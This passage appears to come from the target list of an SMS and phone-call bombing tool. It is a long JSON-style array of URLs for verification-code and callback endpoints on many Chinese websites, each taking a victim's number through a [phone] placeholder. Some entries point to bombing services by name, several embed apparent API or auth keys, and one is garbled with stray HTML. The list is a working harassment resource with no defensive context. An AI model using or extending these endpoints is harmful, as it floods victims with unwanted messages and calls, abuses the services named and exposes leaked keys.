\"http://svr.cnoa.cn/api/sms.oatry.user.php?jsonpcallback=jsonp1480990856832&amp;task=send&amp;mobile=[phone]\",\n    \"http://svr.cnoa.cn/api/sms.oatry.user.php?jsonpcallback=jsonp1480990856832&amp;task=send&amp;mobile=[phone]&amp;version=oa.cnoa.cn\",\n    \"http://tel.kuaishang.cn/ajax.php?act=sendmsg&amp;author=%E9%BD%90%E6%99%A8&amp;fromurls=http%3A%2F%2Fwww.mianfeidianhua.net%2Fhsnzy.html&amp;content=%E6%83%B3%E5%92%A8%E8%AF%A2%E3%80%82&amp;did=382&amp;uid=2010131726&amp;phone=[phone]&amp;_=1551173567919\",\n    \"http://tel.kuaishang.cn/ajax.php?act=sendmsg&amp;author=齐晨&amp;fromurls=http://www.mianfeidianhua.net/hsnzy.html&amp;content=想咨询。&amp;did=382&amp;uid=2010131726&amp;phone=[phone]&amp;_=1551173567919\",\n    \"http://tel.kuaishang.cn/cl.php?tel=[phone]\",\n    \"http://test2.p10155.cn:8075/sendCode.ashx?phonenum=[phone]\",\n    \"http://tools.wx6.org/dianhuahongzhaji/?telcode=[phone]\",\n    \"http://tools.wx6.org/duanxinhongzhaji/?telcode=[phone]\",\n    \"http://ttq.api.yolanda.hk/api/v5/users/identifying_code.json?address=&amp;app_id=TTQ&amp;app_revision=2.2.2&amp;cellphone_type=iPhone 6s-12.4&amp;login=[phone]&amp;mob_type=1&amp;platform=iphone&amp;send_type=1&amp;systemLaunguage=zh-Hans-CN\",\n    \"http://ttq.api.yolanda.hk/api/v5/users/identifying_code.json?address=&amp;app_id=TTQ&amp;app_revision=2.2.2&amp;cellphone_type=iPhone%206s-12.4&amp;login=[phone]&amp;mob_type=1&amp;platform=iphone&amp;send_type=1&amp;systemLaunguage=zh-Hans-CN\",\n    \"http://ttq.api.yolanda.hk/api/v5/users/identifying_code.json?address=&app_id=TTQ&app_revision=2.2.2&cellphone_type=iPhone%206s-12.4&login=[phone]\",\n    \"http://ttq.api.yolanda.hk/api/v5/users/identifying_code.json?address=&app_id=TTQ&app_revision=2.2.2&cellphone_type=iPhone%206s-12.4&login=[phone]&mob_type=1&platform=iphone&send_type=1&systemLaunguage=zh-Hans-CN\",\n    \"http://ttq.api.yolanda.hk/api/v5/users/identifying_code.json?address=&app_id=TTQ&app_revision=2.2.2&cellphone_type=iPhone6s-12.4&login=[phone]\",\n    \"http://u.danongchang.cn/User/CheckUserMess.aspx?type=3&amp;dhhm=[phone]\",\n    \"http://uac.10010.com/oauth2/OpSms?callback=jsonp1544753247279&amp;req_time=1544753262715&amp;user_id=[phone]\",\n    \"http://uac.10010.com/oauth2/OpSms?callback=jsonp1557631709566&amp;req_time=&amp;user_id=[phone]\",\n    \"http://uac.10010.com/oauth2/OpSms?callback=jsonp1557631709566&amp;req_time=&amp;user_id=[phone]&amp;app_code=ECS-2233&amp;msg_type=01\",\n    \"http://uac.10010.com/oauth2/OpSms?callback=jsonp1557631709566&req_time=&user_id=[phone]&app_code=ECS-2233&msg_type=01\",\n    \"http://uac.10010.com:80/oauth2/OpSms?callback=jsonp1557631709566&amp;req_time=&amp;user_id=[phone]\",\n    \"http://uac.10010.com:80/oauth2/OpSms?callback=jsonp1557631709566&req_time=&user_id=[phone]\",\n    \"http://uniservice.kugou.com/v2/activity/sendCode?call_number=[phone]&amp;cb=kgJSONP239130071\",\n    \"http://uniservice.kugou.com/v2/activity/sendCode?call_number=[phone]&cb=kgJSONP239130071\",\n    \"http://user.app.nanrenbang.in/user/user/getvalidate?phone=[phone]\",\n    \"http://user.daojia.com/mobile/getcode?mobile=[phone]\",\n    \"http://user.daojia.com/user/getSmscode?mobile=[phone]\",\n    \"http://user.daojia.com/user/getSmscode?mobile=[phone]&amp;bu=\",\n    \"http://user.daojia.com:80/mobile/getcode?mobile=[phone]\",\n    \"http://user.memeyule.com/authcode/send_mobile?china=true&amp;mobile=[phone]\",\n    \"http://user.memeyule.com/authcode/send_mobile?china=true&mobile=[phone]\",\n    \"http://user.memeyule.com/authcode/send_mobile?mobile=[phone]\",\n    \"http://user.zhangyoubao.com/passwords/getVerifyCode?mobile=[phone]\",\n    \"http://uss.lenovomm.com/accounts/1.4/sendVerifyCode?msisdn=[phone]\",\n    \"http://v.juhe.cn/sms/send?mobile=[phone]\",\n    \"http://v.juhe.cn/sms/send?mobile=[phone]&amp;tpl_id=11115&amp;tpl_value=\",\n    \"http://v.juhe.cn/sms/send?mobile=[phone]&amp;tpl_id=11115&amp;tpl_value=#code#=321809&amp;key=a68cead9b27523c56ce7fd7fc1312ea4\",\n    \"http://v.juhe.cn/sms/send?mobile=[phone]&amp;tpl_id=11115&amp;tpl_value=%23code%23%3d321809&amp;key=a68cead9b27523c56ce7fd7fc1312ea4\",\n    \"http://v.juhe.cn/sms/send?mobile=[phone]&tpl_id=11115&tpl_value=\",\n    \"http://vip.haier.com:80/vipCode/user/sendMobileCode?sendType=codeLogin1&amp;domainName=Haier&amp;mobile=[phone]\",\n    \"http://vip.haier.com:80/vipCode/user/sendMobileCode?sendType=codeLogin1&domainName=Haier&mobile=[phone]\",\n    \"http://vip.timesawards.com/Method/getAuthCode?target=[phone]\",\n    \"http://vis3.renwuto.com/VerifyCode/SendReg?tk=[phone]\",\n    \"http://voip-newapi20160601.voip-oem.com/api/Account/GetValidateCodeNoUser?SrcPhone=[phone]\",\n    \"http://voip-newapi20160601.voip-oem.com/api/Account/GetValidateCodeNoUser?SrcPhone=[phone]&amp;type=1&amp;proxyId=5318302\",\n    \"http://w.xyhsoft.com:80/pypay/xyhpay/util/ZsendCode.do?phone=[phone]\",\n    \"http://w4.duoyi.com/p_user/DoNewActCards.aspx?gate=sw&amp;jsoncallback=jQuery18303232165043277003_1483854401800&amp;act=getsmscode&amp;phone=[phone]\",\n    \"http://w4.duoyi.com/p_user/DoNewActCards.aspx?gate=sw&jsoncallback=jQuery18303232165043277003_1483854401800&act=getsmscode&phone=[phone]\",\n    \"http://walk-prod.bohanyuedong.com/api/message/sendV2?phone=[phone]&amp;app_id=2&amp;timestamp=1599549118&amp;channel_id=000&amp;device_id=F9D6949590A78676215E2CD28D7539342F42B1A8&amp;os=25&amp;version=1.0.1&amp;sign=af2b1f5cd686f61176655c7528819b26&amp;imei=861271047037119&amp;imei_device_id=94086F8106D8651CDC5B90160F11B56BD0AECC00\",\n    \"http://wap.10010.com/mobileService/tuiguang/sendMsg.htm?mobileNumber=[phone]\",\n    \"http://wap.ghs.net/wap/wxregister-checkMobile.html?uname=[phone]\",\n    \"http://wap.zt.raiyi.com/weixin/bind/verifyMobile?mobile=[phone]&amp;appCode=fc_wx&amp;buyChannel=OfficialAccounts&amp;vtype=0\",\n    \"http://web.5zhuan.com/?ac=getmsgcode&cphone=[phone]\",\n    \"http://web.enjoysms.cn/do/safecode.do?0.4155260914653185&VerifyCode=[phone]\",\n    \"http://weizhang.58.com/user/login/getcode?mobile=[phone]\",\n    \"http://wo10010sh.cn/ticket/?a=[phone]\",\n    \"http://woa.sdo.com/woa/autologin/receiveVerificationSms.shtm?phone=[phone]\",\n    \"http://ws.sythealth.com/wsbyte/fit/v4/sms/validatorcode?form=0&account=[phone]\",\n    \"http://ws.sythealth.com/wsbyte/fit/v4/sms/validatorcode?form=0&amp;account=[phone]\",\n    \"http://wskh.newone.com.cn/newlogincontroller/getrandompassword?mobile=[phone]\",\n    \"http://wsxf.gjxfj.gov.cn/zfp/getyzmservice/getyzm?theme=none&amp;act=addNew2mb=[phone]\",\n    \"http://www.023jz.com/register/sendMobileCode.html?mobile=[phone]\",\n    \"http://www.100ppi.com/ecp/ppi/get_sf/get_yzm.php?m=[phone]\",\n    \"http://www.12366.com/front/userInfo/sendRegisterMessage loginName=[phone]\",\n    \"http://www.12chu.com/reg/sendCode.jhtml?mobile=[phone]\",\n    \"http://www.1314.buzz/index.php?hm=[phone]\",\n    \"http://www.4008123123.com/phhs_ios/sendSmsCodeVip.action &amp;accessType=1&amp;circleId=100000055 username=[phone]\",\n    \"http://www.51zouchuqu.com/sms/send?mobileNo=[phone]\",\n    \"http://www.52gcc.com/bomb/index.php?hm=[phone]\",\n    \"http://www.52tanbao.com/tanbao-app-api/SendValidCode?telephone=[phone]\",\n    \"http://www.7881.com/img_valid.jsp?param=1557302312619&t=0&phone=act=reg&captcha=[phone]\",\n    \"http://www.900index.com/api.php?a=sendsms&amp;m=index&amp;mobile=http://wjy138.haodai26.cn/sms.php?tel=[phone]\",\n    \"http://www.900index.com/api.php?a=sendsms+m=index+mobile=[phone]\",\n    \"http://www.97sq.com/dx/index.php?hm=[phone]\",\n    \"http://www.98xianyou.com/passport/sign/code.html?mobile=[phone]\",\n    \"http://www.ahtba.org.cn/Registration/SendSms?phone=[phone]\",\n    \"http://www.ahtba.org.cn/Registration/SendSms?phone=[phone]&amp;_=1570683350704\",\n    \"http://www.aipai.com/app/www/apps/ums.php?step=ums&amp;mobile=[phone]\",\n    \"http://www.aipai.com/app/www/apps/ums.php?step=ums&amp;mobile=[phone]&amp;callback=jQuery17209171715653229815_1599374652809&amp;_=1599374671117\",\n    \"http://www.aipai.com/app/www/apps/ums.php?step=ums&mobile=[phone]\",\n    \"http://www.aipai.com/app/www/apps/ums.php?step=ums&mobile=[phone]&callback=jQuery17209171715653229815_1599374652809&_=1599374671117\",\n    \"http://www.appbesafe.com/htourist/sendPhoneMessageZc?phone=[phone]&amp;type=1\",\n    \"http://www.appbesafe.com/htourist/sendPhoneMessageZc?phone=[phone]&type=1\",\n    \"http://www.baixing.com/m/oz/verify/?fromS9=1&amp;identity=[phone]&amp;mobile=[phone]\",\n    \"http://www.baixing.com/m/oz/verify/?fromS9=1&identity=[phone]&mobile=[phone]\",\n    \"http://www.baixing.com/oz/verify/reg?mobile=[phone]\",\n    \"http://www.baixing.com:80/m/oz/verify/reg?mobile=[phone]\",\n    \"http://www.bjoil.com/bjoil/member/mobileVerify.action?tamp=1479798866609/bjoil/member/mobileVerify.action?tamp=1479798866609/bjoil/member/mobileVerify.action?tamp=1479798866609&amp;mobile=[phone]\",\n    \"http://www.booms.ga/index.php?hm=[phone]\",\n    \"http://www.booms.ga/mini/index.php?hm=[phone]\",\n    \"http://www.cgv.com.cn/mem/getRegCapCha.fo?MOBILE_NO=[phone]\",\n    \"http://www.chaojidaogou.com/MsgHandler.ashx?t=sendcode&amp;phone=[phone]\",\n    \"http://www.chaojitao.cn/index.php?act=login&amp;op=send_reg_sms&amp;f=reg&amp;mobile=[phone]\",\n    \"http://www.chatm.com/userInfo/smsCode?mobilephone=[phone]\",\n    \"http://www.cmpassport.com/openapi/sendDynaPwd?account=[phone]\",\n    \"http://www.csc108.com/mobile/sendRandomNum.json?mobile=[phone]\",\n    \"http://www.cshixi.com/api/sendCode?username=[phone]\",\n    \"http://www.csti.cn/uums-user-front/api/user/register/phone/send?phone=[phone]\",\n    \"http://www.dangaoss.com/h5/acc/send_code?_t=1552475308&amp;sign=424064b2d2d003d83db05380438824cb&amp;username=[phone]\",\n    \"http://www.dangaoss.com/h5/acc/send_code?_t=1552475308&sign=424064b2d2d003d83db05380438824cb&username=[phone]\",\n    \"http://www.daquant.com/Member/Index/sendcodes?mobile=[phone]\",\n    \"http://www.dye-ol.com/code/ValidCode.aspx?r=0.503437238889475&Code=3&UserID=0Mobile=[phone]\",\n    \"http://www.e8088.com/index/product/try!phoneVerifyCode.action?tipMessage=[phone]\",\n    \"http://www.easgs.cn/app/index.php?i=8&amp;c=entry&amp;do=sms&amp;m=junsion_winaward_plugin_wap&amp;mobile=[phone]\",\n    \"http://www.edu-edu.com/cas/web/message/send?phone=[phone]\",\n    \"http://www.edu-edu.com/cas/web/message/send?phone=[phone]&amp;isNewPhone=true\",\n    \"http://www.ehuu.com/apiv4/clientApicheckPhone?phoneNum=[phone]\",\n    \"http://www.eshiptrading.com.cn/api/SMSSafeCode?mobile=[phone]\",\n    \"http://www.eyprint.com/include/getcode.php?telnum=[phone]\",\n    \"http://www.faka866.com/index/checkuser?Mobile=[phone]&amp;act=sj_reg_telma&amp;t=1589617288409\",\n    \"http://www.fcbox.com/noshiro/retrievePhoneMessagePreventAttacks?mobilePhone=[phone]&amp;smsType=5\",\n    \"http://www.fcbox.com/noshiro/retrievePhoneMessagePreventAttacks?mobilePhone=[phone]&smsType=5\",\n    \"http://www.flyertea.com/plugin.php?id=dzapp_mobile&amp;mod=ajax&amp;ac=code&amp;type=reg&amp;inajax=1&amp;formhash=e55ad49c&amp;mobile=[phone]\",\n    \"http://www.flyertea.com/plugin.php?id=dzapp_mobile&mod=ajax&ac=code&type=reg&inajax=1&formhash=e55ad49c&mobile=[phone]\",\n    \"http://www.gangaimall.com/mbb-web/api/account/code?mobile=[phone]&amp;type=0\",\n    \"http://www.gangaimall.com:80/mbb-web/api/account/code?mobile=[phone]&amp;type=0\",\n    \"http://www.gmmc.com.cn/ajax/H5Handler.ashx?method=SendH5VerCode&mobile=[phone]\",\n    \"http://www.gmsweipai.com/gms/api/common/[phone]\",\n    \"http://www.gmsweipai.com/gms/api/common/[phone]/requestsms/5?mchCode=861913032338784\",\n    \"http://www.haoyin.com/message/sendMessage.htm?phone=[phone]\",\n    \"http://www.happigo.com/shop/index.php?act=login&amp;op=send_auth_code&amp;mobile=[phone]\",\n    \"http://www.happigo.com/shop/index.php?act=login&op=send_auth_code&mobile=[phone]\",\n    \"http://www.henhuoapp.com/api/method/getCode?phone=[phone]\",\n    \"http://www.henhuoapp.com/api/method/getCode?phone=[phone]&amp;type=1\",\n    \"http://www.hongzhoukan.com/ajax/check_tel_reg.php?mobile=[phone]\",\n    \"http://www.humengyun.com/index.php?a=login&amp;m=sendSMS&amp;mobile=[phone]&amp;_=1480986460007\",\n    \"http://www.humengyun.com/index.php?a=login&m=sendSMS&mobile=[phone]&_=1480986460007\",\n    \"http://www.huobiao.cn/core/login/get_code_snv?jsonpcallback=jQuery22408161556854897054_1570699976143&amp;phone=[phone]\",\n    \"http://www.huobiao.cn/core/login/get_code_snv?jsonpcallback=jQuery22408161556854897054_1570699976143&amp;phone=[phone]&amp;_=1570699976144\",\n    \"http://www.hx2car.com/mobile/loginCode.json?code=d889c6084be2613b8ed976d2336bc53a&amp;devicetoken=0FAEEA4E-B279-4409-93A6-05B4EDE49DE8&amp;phoNum=[phone]\",\n    \"http://www.hyb100.com/huoyb/vc10001.action?userid=[phone]&amp;ic10000=\",\n    \"http://www.hzrc.com/ww/b/a/wwba_sendMobileCode.html?phone= [phone]\",\n    \"http://www.hzrc.com/ww/b/a/wwba_sendMobileCode.html?phone=[phone]\",\n    \"http://www.ind4.net/pc/member/sendRegisterSms.do?phoneNumber=[phone] &amp;_=1502021540432\",\n    \"http://www.jiedai315.com/SendCode.ashx?Mobile=[phone]&Identifier=6\",\n    \"http://www.jiedai315.com/SendCode.ashx?Mobile=[phone]&amp;Identifier=6\",\n    \"http://www.jiqinging.com/ajax.php?do=getCheckCode&amp;tel=[phone]\",\n    \"http://www.jiqinging.com/ajax.php?do=getCheckCode&tel=[phone]\",\n    \"http://www.jiqinging.com/ajax.php?do=getCheckCode+tel=[phone]\",\n    \"http://www.jsvideo.tv/sendMsg&amp;type=1 mobile=[phone]\",\n    \"http://www.jsvideo.tv/sendMsg?phone=[phone]\",\n    \"http://www.jxxw.com.cn/app/user/sendLoginCode?username=[phone]\",\n    \"http://www.jxxw.com.cn/app/user/sendLoginCode?username=[phone]&amp;sign=572bf336d708a2b8b655ea05872cb596\",\n    \"http://www.kl.cc/User/RegSendMobilMail?t=[phone]\",\n    \"http://www.ksdao.com/sendMsgCode?mobile=[phone]\",\n    \"http://www.lecake.com/customer/get-code.html?yzm=10000&amp;mobile=[phone]&amp;_=1551173567939\",\n    \"http://www.lecake.com/customer/get-code.html?yzm=10000&mobile=[phone]\",\n    \"http://www.loho88.com/activ_check_mobile.php?activ_id=67&activ_type=mis&part_id=body_1_4&goods_id=100&is_new_customers_allow=0&phone=[phone]\",\n    \"http://www.loho88.com/activ_check_mobile.php?activ_id=67&amp;activ_type=mis&amp;part_id=body_1_4&amp;goods_id=100&amp;is_new_customers_allow=0&amp;phone=[phone]\",\n    \"http://www.longone.com.cn/servlet/user/Register?&amp;function=AjaxGetPin1&amp;mo= [phone]\",\n    \"http://www.longone.com.cn/servlet/user/Register?&function=AjaxGetPin1&mo=[phone]\",\n    \"http://www.lxzbsjsm.com/auth/smscode.ashx?action=vd&amp;aid=5813&amp;mb=[phone]\",\n    \"http://www.meisupic.com/user.php?act=ajax_validate_sms&bizcode=11&captcha=type=5&mobile=[phone]\",\n    \"http://www.mgff.com/passport/send_mobile_yzm?mobile=[phone]\",\n    \"http://www.milvwang.com/user/isRegister/?mobile_phone=[phone]\",\n    \"http://www.mzsky.cc/plugin.php?id=smstong:verifycode&amp;idhash=SJw54jL0&amp;formhash=82e4ff11&amp;seccodeverify=&amp;inajax=yes&amp;infloat=register&amp;handlekey=register&amp;ajaxmenu=1&amp;action=getregverifycode&amp;mobile=[phone]&amp;0.7010368446838822\",\n    \"http://www.mzsky.cc/plugin.php?id=smstong:verifycode&idhash=SJw54jL0&formhash=82e4ff11&seccodeverify=&inajax=yes&infloat=register&handlekey=register&ajaxmenu=1&action=getregverifycode&mobile=[phone]&0.7010368446838822\",\n    \"http://www.patfun.com/do.php?ac=check_sms&amp;phone=[phone]\",\n    \"http://www.patfun.com/do.php?ac=check_sms&phone=[phone]\",\n    \"http://www.plaso.cn/plaso/servlet/randomCode?0.47652275536418554&type=loginrandom=[phone]\",\n    \"http://www.pumg.com.cn/phone.do?USERTEL=&token=bZnQLILMeWM8EF57AsIxdhwWOYyUAzSdLGLdb%2FIcj5TxIUMmRFcqAQ%3D%3D&type=0&flag=0&timestamp=1548589939708telphone=[phone]\",\n    \"http://www.pureyeah.com/public/api/auth/getVerificationCode?mobile=[phone]&amp;dispatch=\",\n    \"http://www.puyitou.com/service.html?SERVERID=770010&BIZ_CODE=REG_PHONE_CODE&PHONE_NUM=[phone]&SEND_TYPE=2\",\n    \"http://www.puyitou.com/service.html?SERVERID=770010&amp;BIZ_CODE=REG_PHONE_CODE&amp;PHONE_NUM=[phone]&amp;SEND_TYPE=2\",\n    \"http://www.qdnks.com/default/user/getvlcode &amp;purpose=register act=get_verify&amp;user_name=[phone]\",\n    \"http://www.qmango.com/users/ajax/ajax_register_code.asp?_=1487743660579&amp;mobile=[phone]\",\n    \"http://www.qmango.com/users/ajax/ajax_register_code.asp?_=1487743660579&mobile=[phone]\",\n    \"http://www.reedoun.com/os/user/getCode?mobile=[phone]&amp;type=1\",\n    \"http://www.rrjc.com/sendVoiceCodeByType.do?username=[phone]\",\n    \"http://www.rrjc.com/sendVoiceCodeByType.do?username=[phone]&amp;regType=1&amp;v_module=toNoviceRegistered\",\n    \"http://www.sbsq.aliwe.com/index.php?s=%2Fapi%2Fmobile_verify_code_get_request%2Findex2&amp;mobile=[phone]&amp;type=register&amp;sign=999eb3cf7e7998d07b78e21884433f74\",\n    \"http://www.sbsq.aliwe.com/index.php?s=/api/mobile_verify_code_get_request/index2&amp;mobile=[phone]&amp;type=register&amp;sign=999eb3cf7e7998d07b78e21884433f74\",\n    \"http://www.shdsyy.com.cn/web/index.php?classid=9191&action=call&phone=[phone]\",\n    \"http://www.shdsyy.com.cn/web/index.php?classid=9191&amp;action=call&amp;phone=[phone]\",\n    \"http://www.shengjob.com/Resume/PhoneCode_Tem.aspx?Phones=[phone]\",\n    \"http://www.sk-vip.cn/index.php?m=&c=page&a=yunhu&phone=[phone]\",\n    \"http://www.songhebao.com/serv/api/member/GetSMSCode.ashx?phone=[phone]\",\n    \"http://www.songhebao.com/serv/api/member/GetSMSCode.ashx?phone=[phone][phone]&amp;lx=1\",\n    \"http://www.suicunsuiqu.com/front/account/verifyMobileReg?mobile=[phone]\",\n    \"http://www.super8.com.cn/Ajax/HotelInterface.ashx?action=sendmsg&amp;mobile=[phone]\",\n    \"http://www.super8.com.cn/Ajax/HotelInterface.ashx?action=sendmsg&mobile=[phone]\",\n    \"http://www.taoguba.com.cn/sendCodePC?codeType=ZCYZ+phoneNumber=[phone]\",\n    \"http://www.tell520.com:80/ajax/do.html?action=sendSms&amp;type=reg&amp;YII_CSRF_TOKEN&amp;phone=[phone]=a70ca68498d9489dbe88e141ba49751267896313\",\n    \"http://www.tell520.com:80/ajax/do.html?action=sendSms&type=reg&YII_CSRF_TOKEN&phone=[phone]\",\n    \"http://www.ttpai.cn/signup/success?mobile=[phone]\",\n    \"http://www.txooo.com/Txooo/Main/Busine**屏蔽敏感词**<img src=&quot;//ia.51.la/go1?id=19095990&amp;pvFlag=1&quot; border=&quot;0&quot; style=&quot;display:none;&quot;/>equirement/Ajax/Busine**屏蔽敏感词**<img src=&quot;//ia.51.la/go1?id=19095990&amp;pvFlag=1&quot; border=&quot;0&quot; style=&quot;display:none;&quot;/>equirementAjax.ajax/SendMobileCode?mobile=[phone]\",\n    \"http://www.txooo.com/Txooo/Main/BusinessRequirement/Ajax/BusinessRequirementAjax.ajax/SendMobileCode?mobile=[phone]\",\n    \"http://www.udache.com/app/mQuickReg/getSmsCode?phone=[phone]\",\n    \"http://www.upshop.cn/Home/User/registerSendCode.html?mobile=[phone]\",\n    \"http://www.v5kf.com/member/index/ajax_get_sms_code?mobile=[phone]\",\n    \"http://www.v5kf.com/member/index/ajax_sms_code?mobile=[phone]\",\n    \"http://www.variflight.com/login/reg/sendSms?AE71649A58c77&amp;phone=[phone]\",\n    \"http://www.vatti.com.cn/index.php?m=Home&c=Api&a=[phone]\",\n    \"http://www.wandafilm.com/login.do?m=sendSms?mobile=[phone]\",\n    \"http://www.wehealthchina.net/api/v0.1/vcode?app=doctor&amp;client=android&amp;action=register&amp;phone=[phone]\",\n    \"http://www.wehealthchina.net/api/v0.1/vcode?app=doctor&client=android&action=register&phone=[phone]\",\n    \"http://www.weimaiyy.com/register/sms?t=0.6886729517940704&amp;phone=[phone]\",\n    \"http://www.weloan.com/front/account/verifyMobile?mobile=[phone]\",\n    \"http://www.wfggw.com/getcode.asp?num=[phone]&_=1480403250456\",\n    \"http://www.wfggw.com/getcode.asp?num=[phone]&amp;_=1480403250456\",\n    \"http://www.wish3d.com/chitAppValidate.action id=[phone]\",\n    \"http://www.wjask.com/wj/req_phone_code&amp;tem=register Mobile=[phone]\",\n    \"http://www.xd.com/users/sendWebRegCode?callback=jQuery110208424835141365408_1600270044866&mobile=[phone]\",\n    \"http://www.xjwvxz.com/api/call/index?user_id=244127&amp;auth_key=c602e6ebb2311895b922d5bef854dc87&amp;type=c&amp;proxy_id=148455&amp;phones=[phone]\",\n    \"http://www.xjwvxz.com/api/call/index?user_id=244127&auth_key=c602e6ebb2311895b922d5bef854dc87&type=c&proxy_id=148455&phones=[phone]\",\n    \"http://www.xlcidc.com/chkName.asp?umobie=[phone]\",\n    \"http://www.xlcidc.com/chkName.asp?umobie=[phone]&amp;lm=sendmobi&amp;sd=0.5806221691630391\",\n    \"http://www.xlcidc.com/chkName.asp?umobie=[phone]&lm=sendmobi&sd=0.5806221691630391\",\n    \"http://www.xuebangsoft.net/eduboss/CommonAction/sendVarifyCodeToPhone.do?phoneNumber=[phone]&regTimeCode=1589627585503\",\n    \"http://www.xyqb.com/LKB/lg/sendSms.html?random=&amp;loginName=[phone]\",\n    \"http://www.xyqb.com/LKB/lg/sendSms.html?random=&loginName=[phone]\",\n    \"http://www.yifatong.com/Customers/gettsms?rnd=1570443327.103&amp;mobile=[phone]\",\n    \"http://www.yigongkeji.cc/mobile/weixiu/view/member/getSmsCode?mobile=[phone]\",\n    \"http://www.youmw.top/tool/dxhz/?hm=[phone]\",\n    \"http://www.youmw.top/tool/dxhz/?hm=[phone]&amp;ok=\",\n    \"http://www.youxia.cn/go/index.php?mod=account&code=getRandCode&pic_code=undefined&phone=[phone]\",\n    \"http://www.zhichiwangluo.com/index.php?r=Login/phoneResetCode&amp;phone=[phone]\",\n    \"http://www.zhichiwangluo.com/index.php?r=Login/phoneResetCode&phone=[phone]\",\n    \"http://www.zhiguker.com/index/user/regYzm?phone=[phone]\",\n    \"http://www.zjzxts.gov.cn/sendMsg.do?modelMethod=sendMessage&amp;phonenum=[phone]\",\n    \"http://www.zjzxts.gov.cn/sendMsg.do?modelMethod=sendMessage&phonenum=[phone]\",\n    \"http://www.zoneidc.com/user/sendmobi.asp?mobi=[phone]\",\n    \"http://www.zsbox.net/api/call/index?user_id=244127&amp;auth_key=c602e6ebb2311895b922d5bef854dc87&amp;type=c&amp;proxy_id=148455&amp;phones=[phone]\",\n    \"http://www.zuoyebang.com:80/session/pc/sendtoken?ajax&amp;phone=[phone]&amp;sendType=1&amp;tokenType=6&amp;_t_=1573784070671&amp;os=pcweb&amp;appId=homework&amp;channel=&amp;plat=wap&amp;cType=pc&amp;fr=&amp;lastfrom=&amp;name=JC_C2_3_20100\",\n    \"http://www.zuoyebang.com:80/session/pc/sendtoken?ajax&phone=[phone]\",\n    \"http://www25c1.53kf.com/impl/rpc_callback_phone.php?from=api&company_id=72204003&guest_id=11199824994006&style=1&from_page=https%3A%2F%2Fwww.baidu.com%2Flink%3Furl%3D3RHZQYd7M-TF4MUvr7tQD4xVSYxHv_IWj2SbNAAdoKtf_Xk51H_avXcuoOtSQIe96CW0u5SYUWmlZJPnQXRVka%26wd%3D%26eqid%3D9f6d04a1000e3ecf000000065fb824c2&talk_page=http%3A%2F%2Fwww.yueshi-edu.com%2Fvxueli%2Fsz%2F5762.html&land_page=http%253A%252F%252Fwww.yueshi-edu.com%252Fvxueli%252Fsz%252F5762.html&call=[phone]\",\n    \"http://wx.bda.com/ajax/ajax_login.php?action=[phone]\",\n    \"http://wx.imlaidian.com/testapi/authCodeGet?callback=jQuery1113009964326163753867_1483628589051&amp;mobile=[phone]\",\n    \"http://wx01.lecake.com/customer/get-code.html?mobile=[phone]\",\n    \"http://wx01.lecake.com/customer/get-code.html?mobile=[phone]&amp;yzm=148323267\",\n    \"http://xinweixin.11183.com.cn/youzheng/login/security?phone=[phone]\",\n    \"http://yangba.syoogame.com/ajax/sendMobileVerifyCode?mobile=[phone]\",\n    \"http://yinyu.leanapp.cn/tools/getNum?&amp;phone=[phone]&amp;sign=4ee234df92d36632c5a7082399b9890a&amp;timestamp=1567136457\",\n    \"http://yueban.500zhuan.com/tools/getNum?&amp;phone=[phone]&amp;sign=20f2f798a813a8115f5a837c7cad140b&amp;timestamp=1566033453\",\n    \"http://yueban.500zhuan.com/tools/getNum?&phone=[phone]\",\n    \"http://yunrg3866.xahost.yunrg.com/api.php?act=user&amp;key=hz&amp;phone=[phone]\",\n    \"http://z.7qi.me/index.php?call=[phone]&amp;ok=\",\n    \"http://z.7qi.me/index.php?call=[phone]&ok=\",\n    \"http://zaiwai.8848.com/commonService/findMessageToken?phone=[phone]\",\n    \"http://zaiwai.8848.com/commonService/sendNewVerificationCodeToPhone?phone=[phone]\",\n    \"http://zaiwai.8848.com/commonService/sendNewVerificationCodeToPhone?phone=[phone]&amp;isNewUser=1&amp;messagePassWord=50BF9B170BC3FFD3F1F0C8E113DA88E6ADAF75D364508DB8969BA8928249E4CCD0AE01A96E8E435EDA7B5E7BB28F9D584BA1CEE44BC02D41C21D8DF04604A225\",\n    \"http://zgtv.spo38.igeek.gq/aip/index3.php?hm=[phone]\",\n    \"http://zhibo.zuoyebang.com/elearning/index/sendapplytoken?phone=[phone]\",\n    \"http://zhibo.zuoyebang.com/elearning/index/sendapplytoken?phone=[phone]&amp;_=1535534872440\",\n    \"http://zhuikanxs.com/novelapilogin/sendsms?phone=[phone]\",\n    \"http://zhuikanxs.com/novelapilogin/sendsms?phone=[phone]&amp;idfa=5C351103-F887-4932-BC59-58C75875EFDE&amp;package=sxrqowww.com&amp;version=1.6.9&amp;token=384e798aee87f24f4a228a41df049e27&amp;type=1&amp;timestamp=1567400876&amp;sign=9726d9876bd9e1bbc5667eeadd28e42b\",\n    \"http://zntouzi.com/front/account/verifyMobileForReg?randomID=d2b07acd-917c-4d81-a849-9c694f25833b&amp;code=111111&amp;mobile=[phone]\",\n    \"http://zntouzi.com/front/account/verifyMobileForReg?randomID=d2b07acd-917c-4d81-a849-9c694f25833b&code=111111&mobile=[phone]\",\n    \"https://account.perfma.com/api/login/authentication/v1/picCaptcha?2&phoneCaptcha=[phone]\",\n    \"https://androidapi4.yc.ifeng.com:443/api/fread/user/msgAuthCode?phoneNum=[phone]\",\n    \"https://androidapi4.yc.ifeng.com:443/api/fread/user/msgAuthCode?phoneNum=[phone]&amp;v=5.5.32.83027\",\n    \"https://api-dcdn.jiayouxueba.cn/api/v3/sms/vcode?countryId=685&amp;mobile=[phone]\",\n    \"https://api-dcdn.jiayouxueba.cn/api/v3/sms/vcode?countryId=685&amp;mobile=[phone]&amp;sign=d012c7dbfeba6014a28b9093156cd52d&amp;ts=1565428712975901&amp;type=1\",\n    \"https://api-dcdn.jiayouxueba.cn/api/v3/sms/vcode?countryId=685&mobile=[phone]\",\n    \"https://api-v5-0.yangcong345.com/captchas/v4.8?phone=[phone]&amp;code=CN&amp;type=codeVerify\",\n    \"https://api.aihecong.com/account/vercode?type=register&amp;antiBrush=ecdfddd24937106ex&amp;callback=JSONP_1580388414994&amp;tel=[phone]\",\n    \"https://api.aihecong.com/account/vercode?type=register&antiBrush=ecdfddd24937106ex&callback=JSONP_1580388414994&tel=[phone]\",\n    \"https://api.bat100.net/v1/authority/sms/send-sms?tel=[phone]\",\n    \"https://api.bat100.net/v1/authority/sms/send-sms?tel=[phone]&amp;smsType=2\",\n    \"https://api.dongqiudi.com/v3/useract/app/user/postGottenlCode?phone=[phone]&requestTime=1596183059901\",\n    